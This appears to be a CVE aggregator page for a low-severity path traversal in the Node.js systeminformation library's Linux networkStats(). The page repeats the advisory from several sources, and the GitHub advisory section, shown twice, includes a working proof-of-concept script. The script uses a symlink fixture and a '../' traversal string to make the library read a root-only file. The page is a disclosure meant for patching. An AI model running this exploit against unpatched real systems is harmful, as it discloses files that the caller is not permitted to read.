Every CVE Search/ Get API key

CVE-2026-116673

systeminformation: Path traversal in Linux networkStats() allows symlink-based file disclosure outside /sys/class/net

3.3 LowFix available

systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
None

Exploit likelihood

0.13%Unchanged since Oct 28, 2026
90%50%10%1%

What each source reports

CVE List Score used 3.3

systeminformation: Path traversal in Linux networkStats() allows symlink-based file disclosure outside /sys/class/net

systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.

Record
CVE-2026-116673
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
EUVDEUVD-2026-111101 3.3

systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.

Record
EUVD-2026-111101
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-4vjg-vx72-qq4g 3.3

systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net

Summary

On Linux, [email protected] builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.

Details

The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.

The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.

PoC

Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:

mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install [email protected]

Save the following as poc.cjs in that directory, then run sudo node poc.cjs:

'use strict';

const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');

const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
  const fs = require('node:fs');
  const root = process.env.SI_FIXTURE_ROOT;
  const secret = process.env.SI_SECRET;
  fs.mkdirSync(root + '/statistics', { recursive: true });
  for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
    fs.writeFileSync(root + '/statistics/' + name, '0\\n');
  }
  fs.symlinkSync(secret, root + '/operstate');
`;

(async () => {
  try {
    fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
    fs.chmodSync(secret, 0o600);

    execFileSync('runuser', [
      '-u', 'nobody', '--', 'env',
      `SI_FIXTURE_ROOT=${root}`,
      `SI_SECRET=${secret}`,
      process.execPath, '-e', fixtureCode
    ], { stdio: 'inherit' });

    let nobodyCouldRead = true;
    try {
      execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
    } catch {
      nobodyCouldRead = false;
    }
    if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');

    const iface = '../'.repeat(24) + root.slice(1);
    const rows = await si.networkStats(iface);
    const returned = String(rows[0]?.operstate ?? '').trim();
    const success = returned === marker;

    console.log(JSON.stringify({
      nobodyCouldRead,
      libraryReturnedRootOnlyMarker: success,
      returnedOperstate: returned
    }, null, 2));

    if (!success) process.exitCode = 1;
  } finally {
    fs.rmSync(root, { recursive: true, force: true });
    fs.rmSync(secret, { force: true });
  }
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Expected result:

{
  "nobodyCouldRead": false,
  "libraryReturnedRootOnlyMarker": true,
  "returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}

Impact

The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.

Record
GHSA-4vjg-vx72-qq4g
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
NVD 3.3

systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.

Record
CVE-2026-116673
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
OSV 3.3

systeminformation: Path traversal in Linux networkStats() allows symlink-based file disclosure outside /sys/class/net

systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.

Record
CVE-2026-116673
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
OSVDEBIAN-CVE-2026-116673 3.3

systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.

Record
DEBIAN-CVE-2026-116673
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Updated
2026-11-02
OSVGHSA-4vjg-vx72-qq4g 3.3

systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net

Summary

On Linux, [email protected] builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.

Details

The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.

The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.

PoC

Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:

mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install [email protected]

Save the following as poc.cjs in that directory, then run sudo node poc.cjs:

'use strict';

const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');

const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
  const fs = require('node:fs');
  const root = process.env.SI_FIXTURE_ROOT;
  const secret = process.env.SI_SECRET;
  fs.mkdirSync(root + '/statistics', { recursive: true });
  for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
    fs.writeFileSync(root + '/statistics/' + name, '0\\n');
  }
  fs.symlinkSync(secret, root + '/operstate');
`;

(async () => {
  try {
    fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
    fs.chmodSync(secret, 0o600);

    execFileSync('runuser', [
      '-u', 'nobody', '--', 'env',
      `SI_FIXTURE_ROOT=${root}`,
      `SI_SECRET=${secret}`,
      process.execPath, '-e', fixtureCode
    ], { stdio: 'inherit' });

    let nobodyCouldRead = true;
    try {
      execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
    } catch {
      nobodyCouldRead = false;
    }
    if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');

    const iface = '../'.repeat(24) + root.slice(1);
    const rows = await si.networkStats(iface);
    const returned = String(rows[0]?.operstate ?? '').trim();
    const success = returned === marker;

    console.log(JSON.stringify({
      nobodyCouldRead,
      libraryReturnedRootOnlyMarker: success,
      returnedOperstate: returned
    }, null, 2));

    if (!success) process.exitCode = 1;
  } finally {
    fs.rmSync(root, { recursive: true, force: true });
    fs.rmSync(secret, { force: true });
  }
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Expected result:

{
  "nobodyCouldRead": false,
  "libraryReturnedRootOnlyMarker": true,
  "returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}

Impact

The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.

Record
GHSA-4vjg-vx72-qq4g
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
OSVUBUNTU-CVE-2026-116673 3.3

systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.

Record
UBUNTU-CVE-2026-116673
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Updated
2026-11-02
OSVCLSA-2026-1793698099 No score

TuxCare security update for systeminformation (2 CVEs)

TuxCare rebuilt systeminformation to address 2 CVEs. Fixed in 5.23.8-tuxcare.3.

Record
CLSA-2026-1793698099
Updated
2026-11-03

Affected products

Affected packages

Affected packages
PackageAffectedFixed
systeminformation
npm
before 5.33.14
5.33.14
systeminformation
TuxCare:npm
From an advisory covering 2 CVEs
5.23.8-tuxcare.0 up to 5.23.8-tuxcare.3, plus listed versions
5.23.85.23.8-tuxcare.15.23.8-tuxcare.2
5.23.8-tuxcare.3
node-systeminformation
Debian:14
All versions, plus listed versions
5.31.6-15.31.6-25.31.6-35.31.6-45.31.7-1
None known
node-systeminformation
Ubuntu:26.10
All versions, plus listed versions
5.31.6-45.31.7-1
None known

History

History
RecordedChangedSources
affected, facts
affected, aliasesOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-116673 is a low vulnerability (CVSS 3.3) in Sebhildebrandt Systeminformation, published October 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.13%, the 2nd percentile. Fixed in systeminformation 5.33.14.

References

Show 4 moreShow less
MoveEnter Open